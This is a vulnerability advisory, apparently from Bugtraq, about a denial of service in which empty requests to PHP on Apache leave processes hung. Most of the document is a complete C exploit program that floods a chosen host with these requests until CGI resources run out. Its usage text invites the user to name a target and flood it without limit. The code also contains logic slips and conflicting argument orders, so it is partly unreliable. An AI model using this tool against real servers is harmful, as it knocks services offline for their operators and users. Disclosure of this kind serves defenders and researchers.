Apache with mod_php on Windows, Linux, AIX, Mac OS X, *BSD
Input validation error
Denial of Service
Bugtraq
Calling PHP with no parameters causes it to never terminate; the process must be killed by the server, the OS, or the admin.
PHP on Apache requires you to configure a virtual to load PHP out of. PHP implements a "cgi.force_redirect" value to require that a certain environment variable be set to allow PHP to run further.
However, an empty command-line *still* will cause PHP to hang. If a remote user does this for a lengthy amount of time, the server may no longer launch PHP or other server-side components.
NOTE: The vulnerable config is on Apache, but other servers can still be exploited if they offer PHP.EXE (or an SAPI) directly.
GET /php/php HTTP/1.0
/* PHP-APACHE.C * By Matthew Murphy * Exhaust CGI Resources via PHP on Apache * * Calling PHP with no parameters causes it to * never terminate; the process must be killed * by the server, the OS, or the admin. * * PHP on Apache requires you to configure a * virtual to load PHP out of. PHP implements * a "cgi.force_redirect" value to require that * a certain environment variable be set to * allow PHP to run further. * * However, an empty command-line *still* will * cause PHP to hang. If a remote user does * this for a lengthy amount of time, the server * may no longer launch PHP or other server-side * components. * * NOTE: The vulnerable config is on Apache, * but other servers can still be exploited * if they offer PHP.EXE (or an SAPI) directly. * * Usage: php-apache <host> [phpbin] [port] [maxsocks] */ #include <stdio.h> #include <string.h> #include <errno.h> #ifdef _WIN32 #define _WINSOCKAPI_ /* Fix for Winsock.h redef errors */ #include <winsock2.h> /* WinSock API calls... */ #define WSA_VER 0x0101 /* WinSock ver. to use */ #pragma comment(lib, "wsock32.lib") /* Check your compiler's docs... */ #else #include <signal.h> #include <netdb.h> #include <sys/types.h> #include <sys/time.h> #include <netinet/in.h> #include <netinet/ip.h> #include <netinet/tcp.h> #endif #define DEF_PHP "/php/php" /* This is used as the PHP * path if one isn't set */ static char php_buf[] = "GET %s HTTP/1.0\x0d\x0a\x0d\x0a"; void main(int argc, char *argv[]) { char host[257]; char binpath[257]; int maxsocks; char request[300]; unsigned short port; struct hostent *he; struct sockaddr_in sa_in; #ifdef _WIN32 WSADATA wsa_prov; SOCKET s; #else int s; #endif printf("PHP-APACHE.C by Matthew Murphy\x0d\x0a"); printf("Exhausting CGI resources w/ PHP on Apache\x0d\x0a\x0d\x0a"); maxsocks = 0; strcpy(&binpath[0], DEF_PHP); #ifdef _WIN32 if (!WSAStartup(WSA_VER, &wsa_prov) == 0) { printf("ERROR: Windows Sockets init failed!"); exit(1); } #endif port = (unsigned short)htons(8000); switch (argc) { case 5: maxsocks = atoi(argv[4]); case 4: port = htons((unsigned short)atoi(argv[2])); case 3: if (strlen(argv[2]) > 256) { printf("ERROR: 256 char path limit exceeded in 'phpbin' argument."); exit(1); } strcpy(&binpath[0], argv[2]); case 2: if (strlen(argv[1]) > 256) { printf("ERROR: No host should be over 256 chars!"); exit(1); } strcpy(&host[0], argv[1]); break; default: printf("Usage: php-apache <host> [port] [maxsocks] [phpbin]\x0d\x0a\x0d\x0ahost - The IP/DNS name to attack\x0d\x0aport - The port the HTTP service normally runs on (default: 80)\x0d\x0amaxsocks - The maximum number of connections to establish (creates a finite flood). A zero value means continue until termination (default: 0)\x0d\x0aphpbin - The virtual path to the PHP binary (e.g, /php/php[.exe]; default: /php/php)"); exit(0); } if (maxsocks == 0) { maxsocks--; } sa_in.sin_family = AF_INET; sa_in.sin_port = (unsigned short)port; he = gethostbyname(&host[0]); if (he == NULL) { printf("ERROR: DNS resolution failed, or unknown host."); exit(1); } #ifdef _WIN32 sa_in.sin_addr.S_un.S_addr = (unsigned long)*(unsigned long *)he->h_addr; #else sa_in.sin_addr.s_addr = (unsigned long)*(unsigned long *)he->h_addr; #endif sprintf(&request[0], &php_buf[0], &binpath[0]); while (!maxsocks == 0) { s = socket(AF_INET, SOCK_STREAM, 0); if (s < 0) { printf("Couldn't create socket: %s\n", strerror(errno)); } else { if (!connect(s, (const struct sockaddr *)&sa_in, sizeof(struct sockaddr_in)) == 0) { printf("Couldn't connect: %s", strerror(errno)); } else { send(s, (char *)&request[0], strlen(&request[0]), 0); /* If the exploit isn't using up server resources * try removing this -- the server may be killing * the CGI after a disconnect. */ #ifdef _WIN32 shutdown(s, SD_BOTH); closesocket(s); #else close(s); #endif } } if (!maxsocks == -1) { maxsocks--; } } return; }